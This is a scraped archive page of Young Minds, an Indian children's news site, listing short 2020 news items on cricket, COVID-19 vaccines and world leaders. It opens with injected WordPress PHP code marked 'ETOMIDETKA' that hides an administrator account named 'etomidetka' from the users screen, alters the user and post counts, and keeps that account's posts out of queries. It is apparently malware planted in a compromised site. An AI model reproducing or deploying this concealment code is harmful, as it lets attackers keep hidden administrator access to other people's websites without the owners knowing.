//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); Main News | YOUNG MINDS | Page 19

YOUNG MINDS

  • Home
  • About Us
  • Venture For All
  • Testimonials
  • Guest Editor
  • Contact Us
Home / Archive by category Main News (Page 19)
Virat Kohli Creates History

Virat Kohli Creates History

RCB captain Virat Kohli has become the first-ever player to feature in 200 T20 matches for one team. He has represented RCB 185 times in IPL and 15 times in …

October 16, 2020 | Main News
Singapore in world first for facial verification

Singapore in world first for facial verification

Singapore will be the first country in the world to use facial verification in its national identity scheme. The biometric check will give Singaporeans secure …

October 1, 2020 | Main News
Indians on TIME’s 100 Most Influential People list

Indians on TIME’s 100 Most Influential People list

PM Narendra Modi has featured on TIME’s 100 Most Influential People list of 2020. Ayushmann Khurrana is the only Indian actor to make it to the list. …

September 25, 2020 | Main News
Yoshihide Suga Becomes Japan’s Prime Minister

Yoshihide Suga Becomes Japan’s Prime Minister

Yoshihide Suga has become Japan’s first new prime minister in almost eight years, replacing the country’s longest-serving premier, Shinzo Abe, who stepped …

September 18, 2020 | Main News
Oxford vaccine trial on hold

Oxford vaccine trial on hold

Final clinical trials for a coronavirus vaccine, developed by AstraZeneca and Oxford University, have been put on hold after a participant had a suspected …

September 11, 2020 | Main News
Jeff Bezos becomes the first person on Earth to be worth more than $200 billion

Jeff Bezos becomes the first person on Earth to be worth more than $200 billion

Bezos isn’t just the wealthiest man but the only person to have that amount of money in modern history. His wealth is nearly double that of the world’s …

September 4, 2020 | Main News
US approves use of blood plasma to treat coronavirus

US approves use of blood plasma to treat coronavirus

The US Food and Drug Administration (FDA) has given emergency authorisation to use plasma to treat Covid patients. The technique uses antibody-rich blood …

August 28, 2020 | Main News
WHO says 172 countries engaging with global COVID-19 vaccine plan

WHO says 172 countries engaging with global COVID-19 vaccine plan

According to WHO,some 172 countries are engaging with the COVAX facility designed to ensure equitable access to COVID-19 vaccines, but more funding is needed …

August 28, 2020 | Main News
MS Dhoni announces retirement from international cricket

MS Dhoni announces retirement from international cricket

MS Dhoni, the former captain of the Indian cricket team, has announced his retirement from international cricket, bringing down curtains on a near 16-year-long …

August 21, 2020 | Main News
Kamala Harris scripts history as she accepts Democratic Party’s nomination for US vice-president

Kamala Harris scripts history as she accepts Democratic Party’s nomination for US vice-president

Senator Kamala Harris has accepted the Democratic Party’s nomination to be the vice president of the United States, scripting history by becoming the first …

August 21, 2020 | Main News
← Older posts
Newer posts →

About Us

Young Minds is a weekly newspaper for youngsters intended for young curious minds.It is available electronically.The newspaper has been especially designed in vibrant colours to make it extremely attractive to our readers.

Young Mind News Papers Pvt. Ltd.
Plot No. 166, 2nd Floor,
Udyog Vihar Phase 1,
Gurugram-122008, Haryana (India)
E-mail : newsdesk@youngmindsonline.org
Mobile : 09811456566

Digital E-Newspaper
Only for Rs. 999 Annual 52 Issues

  • Privacy Policy
  • Terms & Conditions
  • Return, Refund and Cancellation Policy
  • Disclaimer
© 2023 Young Minds. All rights reserved.
Designed and developed by Young Minds